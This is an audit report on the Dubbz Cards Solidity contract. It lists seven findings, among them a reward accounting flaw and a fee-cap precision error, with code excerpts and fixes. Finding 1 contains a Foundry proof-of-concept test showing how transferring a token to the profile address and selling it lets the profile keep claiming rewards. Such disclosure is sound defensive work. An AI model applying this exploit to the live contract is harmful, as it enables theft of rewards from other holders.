SALUS SECURITY

JAN 2024

CODE SECURITY ASSESSMENT

DUBBZ

Overview

Project Summary

- Name: Dubbz - Cards
- Platform: Ethereum
- Language: Solidity
- Repository: https://github.com/duelme/dubbz-cards
- Audit Scope: See Appendix - 1

Project Dashboard

Application Summary

Name	Dubbz - Cards
Version	v1
Type	Solidity
Date	Jan 31 2024
Logs	Jan 31 2024

Vulnerability Summary

Total High-Severity issues	1
Total Medium-Severity issues	1
Total Low-Severity issues	2
Total informational issues	3
Total	7

Contact

E-mail: support@salusec.io

Risk Level Description

High Risk	The issue puts a large number of users' sensitive information at risk, or is reasonably likely to lead to catastrophic impact for clients' reputations or serious financial implications for clients and users.
Medium Risk	The issue puts a subset of users' sensitive information at risk, would be detrimental to the client's reputation if exploited, or is reasonably likely to lead to a moderate financial impact.
Low Risk	The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low impact in view of the client's business circumstances.
Informational	The issue does not pose an immediate risk, but is relevant to security best practices or defense in depth.

Content

Introduction **4**

1.1 About SALUS 4

1.2 Audit Breakdown 4

1.3 Disclaimer 4

Findings **5**

2.1 Summary of Findings 5

2.2 Notable Findings 6

1. HolderBalance should not record profileAddress's balance changes 6

2. Centralization risk 9

3. Incorrect decimal precision of the upper limit of fee 10

4. Missing event 11

2.3 Informational Findings 12

5. Missing two-step transfer ownership pattern 12

6. Use safeTransfer()/safeTransferFrom() instead of transfer()/transferFrom() 13

7. Redundant code 14

Appendix **15**

Appendix 1 - Files in Scope 16

Introduction

1.1 About SALUS

At Salus Security, we are in the business of trust.

We are dedicated to tackling the toughest security challenges facing the industry today. By building foundational trust in technology and infrastructure through security, we help clients to lead their respective industries and unlock their full Web3 potential.

Our team of security experts employ industry-leading proof-of-concept (PoC) methodology for demonstrating smart contract vulnerabilities, coupled with advanced red teaming capabilities and a stereoscopic vulnerability detection service, to deliver comprehensive security assessments that allow clients to stay ahead of the curve.

In addition to smart contract audits and red teaming, our Rapid Detection Service for smart contracts aims to make security accessible to all. This high calibre, yet cost-efficient, security tool has been designed to support a wide range of business needs including investment due diligence, security and code quality assessments, and code optimisation.

We are reachable on Telegram (https://t.me/salusec), Twitter (https://twitter.com/salus_sec), or Email (support@salusec.io).

1.2 Audit Breakdown

The objective was to evaluate the repository for security-related issues, code quality, and adherence to specifications and best practices. Possible issues we looked for included (but are not limited to):

- Risky external calls
- Integer overflow/underflow
- Transaction-ordering dependence
- Timestamp dependence
- Access control
- Call stack limits and mishandled exceptions
- Number rounding errors
- Centralization of power
- Logical oversights and denial of service
- Business logic specification
- Code clones, functionality duplication

1.3 Disclaimer

Note that this security audit is not designed to replace functional tests required before any software release and does not give any warranties on finding all possible security issues with the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues.

Findings

2.1 Summary of Findings

ID	Title	Severity	Category	Status
1	HolderBalance should not record profileAddress's balance changes	High	Business Logic	Pending
2	Centralization risk	Medium	Centralization	Pending
3	Incorrect decimal precision of the upper limit of fee	Low	Data Validation	Pending
4	Missing event	Low	Logging	Pending
5	Missing two-step transfer ownership pattern	Informational	Business Logic	Pending
6	Use safeTransfer()/safeTransferFrom() instead of transfer()/transferFrom()	Informational	Risky External Calls	Pending
7	Redundant code	Informational	Redundancy	Pending

2.2 Notable Findings

Significant flaws that impact system confidentiality, integrity, or availability are listed below.

1. HolderBalance should not record profileAddress‘s balance changes

Severity: High	Category: Business Logic
Target: - contracts/DubbzCards.sol	

Description

contracts/DubbzCards.so:L1610-L1612

```
function sellCards(address _profile, uint256[] calldata _tokenIds) external nonReentrant
{
    ...
    if(msg.sender != _profile){
        setBalance(payable(msg.sender), holderBalance[msg.sender][profileId] -
_tokenIds.length, _profile);
    }
    ...
}
```

In the buyCards() and sellCards() functions there is no processing of the balance for profileAddress. This implies that the holderBalance corresponding to profileAddress should always be zero at any time.

contracts/DubbzCards.so:L1773-L1807

```
function _transfer (
    address from,
    address to,
    uint256 tokenId
) internal virtual override {

    holderBalance[from][tokenProfileId] -= 1;
    holderBalance[to][tokenProfileId] += 1;
    ...

    if(from != tokenProfileAddress){
        setBalance(payable(from), holderBalance[from][tokenProfileId],
tokenProfileAddress);
    }

    if(to != tokenProfileAddress){
        setBalance(payable(to), holderBalance[to][tokenProfileId], tokenProfileAddress);
    }

    super._transfer(from, to, tokenId);
}
```

In the transfer() function there are two statements that modify the holderBalance. In the first statement, there is no logical check on profileAddress, allowing profileAddress to obtain holderBalance through the transfer operation.

Users can transfer tokens to the profileAddress and then sell the tokens through the profileAddress. As a result, when transferring tokens, holderBalance[profileAddress] will increase, and it will not decrease when selling tokens.

contracts/DubbzCards.so:L1377-L1380

```
function accumulativeRewardOf(address _owner, uint256 _profileId) public view
returns(uint256) {
    return
magnifiedRewardPerShare[_profileId].mul(holderBalance[_owner][_profileId]).toInt256Safe(
)
    .add(magnifiedRewardCorrections[_owner][_profileId]).toUint256Safe() / magnitude;
}
```

This will result in the holderBalance's value always including the token (even if it has been sold). Since holderBalance is used to calculate rewards, users might exploit this vulnerability to illegitimately obtain rewards.

Proof of Concept

Here is a local test in Foundry framework to illustrate the scenario mentioned above

```
contract CounterTest is Test {
    DubbzCards public dubbzCards;
    MockERC20 public usdc;
    address platform = makeAddr("Platform");
    address alice = makeAddr("Alice");
    address bob = makeAddr("Bob");
    address mike = makeAddr("Mike");

    function setUp() public {
        vm.startPrank(platform);
        usdc = new MockERC20("USDC", "USDC", 18);
        dubbzCards = new DubbzCards(address(usdc));
        dubbzCards.createUser(alice);
        vm.stopPrank();

        deal(address(usdc), alice, 1000 * 10 ** 18);
        deal(address(usdc), bob, 1000 * 10 ** 18);
        deal(address(usdc), mike, 1000 * 10 ** 18);
    }

    function test_foreverToken() public {
        // alice as profile first buyCards
        vm.startPrank(alice);
        dubbzCards.buyCards(alice, 1, dubbzCards.getBuyPrice(alice, 1));
        vm.stopPrank();

        // bob buyCards and then transfer to alice
        vm.startPrank(bob);
        usdc.approve(address(dubbzCards), type(uint256).max);
        dubbzCards.buyCards(alice, 1, dubbzCards.getBuyPriceAfterFee(alice, 1));
        uint256[] memory ownTokens = dubbzCards.getWalletTokensOwnedByProfile(bob,
alice);
        uint256 foreverTokenId = ownTokens[0];
        dubbzCards.safeTransferFrom(bob, alice, foreverTokenId);
        vm.stopPrank();

        // alice sells the token that bob transfers to him
        vm.startPrank(alice);
        uint256[] memory sellTokensIds = new uint256[](1);
        sellTokensIds[0] = foreverTokenId;
        dubbzCards.sellCards(alice, sellTokensIds);
        vm.stopPrank();
```

```
        // distributeRewards 1000 wei
        vm.startPrank(mike);
        usdc.approve(address(dubbzCards), type(uint256).max);
        dubbzCards.distributeRewards(1000, alice);
        vm.stopPrank();

        vm.startPrank(alice);
        uint256 propileId = dubbzCards.addressToUserId(alice);
        uint256 reward = dubbzCards.withdrawableRewardOf(alice, propileId);
        assertEq(reward == 1000);
        vm.stopPrank();
    }
}
```

Recommendation

It is recommended to incorporate logical checks when modifying the balance. For example, the modification logic for the balance can be changed to the following:

```
if(from != tokenProfileAddress){
    setBalance(payable(from), holderBalance[from][tokenProfileId] - 1,
tokenProfileAddress);
}

if(to != tokenProfileAddress){
    setBalance(payable(to), holderBalance[to][tokenProfileId] + 1, tokenProfileAddress);
}
```

2. Centralization risk

Severity: Medium	Category: Centralization
Target: - contracts/DubbzCards.sol	

Description

In the DubbzCards contract, there is a privileged owner role. The owner role has the ability to:

- createUser
- update profile address to new address
- update platform/profile fee

If the owner's private key is compromised, the attacker can exploit the owner's role to change an arbitrary profile to a new address. In this case, the old profile address will lose both the profile tokens it holds and any associated rewards.

Recommendation

We recommend transferring the owner role to a multisig account with a timelock feature for enhanced security. This ensures that no single person has full control over the account and that any changes must be authorized by multiple parties.

3. Incorrect decimal precision of the upper limit of fee

Severity: Low	Category: Data Validation
Target: - contracts/DubbzCards.sol	

Description

contracts/DubbzCards.sol:L1570-L1571

```
function buyCards(address _profile, uint256 _amount, uint256 _usdcAmount) external
nonReentrant validProfileCheck(_profile){
    ...
    uint256 _platformFee = price * platformFee / 1e6;
    uint256 _profileFee = price * profileFee / 1e6;
    ...
}
```

In the above highlighted code we can see that the precision factor of profileFee is 1e6.

contracts/DubbzCards.sol:L1704-L1702

```
function updatePlatformFee(uint256 _platformFee) external onlyOwner {
    require(_platformFee <= 1e17, "10% max Platform Fee");
    platformFee = _platformFee;
}

function updateProfileFee(uint256 _profileFee) external onlyOwner {
    require(_profileFee <= 1e17, "10% max Profile Fee");
    profileFee = _profileFee;
}
```

According to the comments, the maximum fee should not exceed 10%. Thus, in the conditional statement, it should be not greater than 1e5, not 1e17 as in the code.

Recommendation

Consider changing 1e17 to 1e5 in the above judgement condition.

4. Missing event

Severity: Low	Category: Logging
Target: - contracts/DubbzCards.sol	

Description

Events allow capturing the changed parameters so that off-chain tools/interfaces can register such changes that allow users to evaluate them. Missing events do not promote transparency and if such changes immediately affect users' perception of fairness or trustworthiness, they could exit the protocol causing a reduction in protocol users.
In DubbzCards, the following functions are missing events:

- buyCards()
- sellCards()
- createUser()
- updateProfileWallet()

Recommendation

It is recommended to emit events for critical state changes.

2.3 Informational Findings

5. Missing two-step transfer ownership pattern

Severity: Informational	Category: Business logic
Target: - contracts/DubbzCards.sol	

Description

The DubbzCards contract inherits from the Ownable contract. This contract does not implement a two-step process for transferring ownership. Thus, ownership of the contract can easily be lost when making a mistake in transferring ownership.

Recommendation

Consider using the Ownable2Step contract from OpenZeppelin instead.

6. Use safeTransfer()/safeTransferFrom() instead of transfer()/transferFrom()

Severity: Informational	Category: Risky External Calls
Target: - contracts/DubbzCards.sol	

Description

Tokens not compliant with the ERC20 specification could return false from the transfer function call to indicate the transfer fails, while the calling contract would not notice the failure if the return value is not checked. Checking the return value is a requirement, as written in the EIP-20 specification:

```
Callers MUST handle false from returns (bool success). Callers MUST NOT assume that
false is never returned!
```

Recommendation

Consider using the SafeERC20 library implementation from OpenZeppelin and call safeTransfer or safeTransferFrom when transferring ERC20 tokens.

7. Redundant code

Severity: Informational	Category: Redundancy

Target:
- contracts/DubbzCards.sol

Description

contracts/DubbzCards.sol:L1546-L1549

```
uint256 public constant FEE_DIVISOR = 10000;

event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
```

(a) The FEE_DIVISOR variable and the Deposit, Withdraw event are defined but not used in the contract. Thus, this variable and event can be removed.

contracts/DubbzCards.sol:L1546-L1549

```
function _transfer (
    address from,
    address to,
    uint256 tokenId
) internal virtual override {
    //solhint-disable-next-line max-line-length
    require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
    ...
    super._transfer(from, to, tokenId);
}
```

(b) The highlighted check mentioned above has already been checked in ERC721. Thus, this check can be removed.

Recommendation

It is recommended to remove the redundant code.

Appendix

Appendix 1 - Files in Scope

This audit covered the following files in commit 04195e5:

File	SHA-1 hash
DubbzCards.sol	928e9ebd4d0301986078a77551c8f822f42c6c7e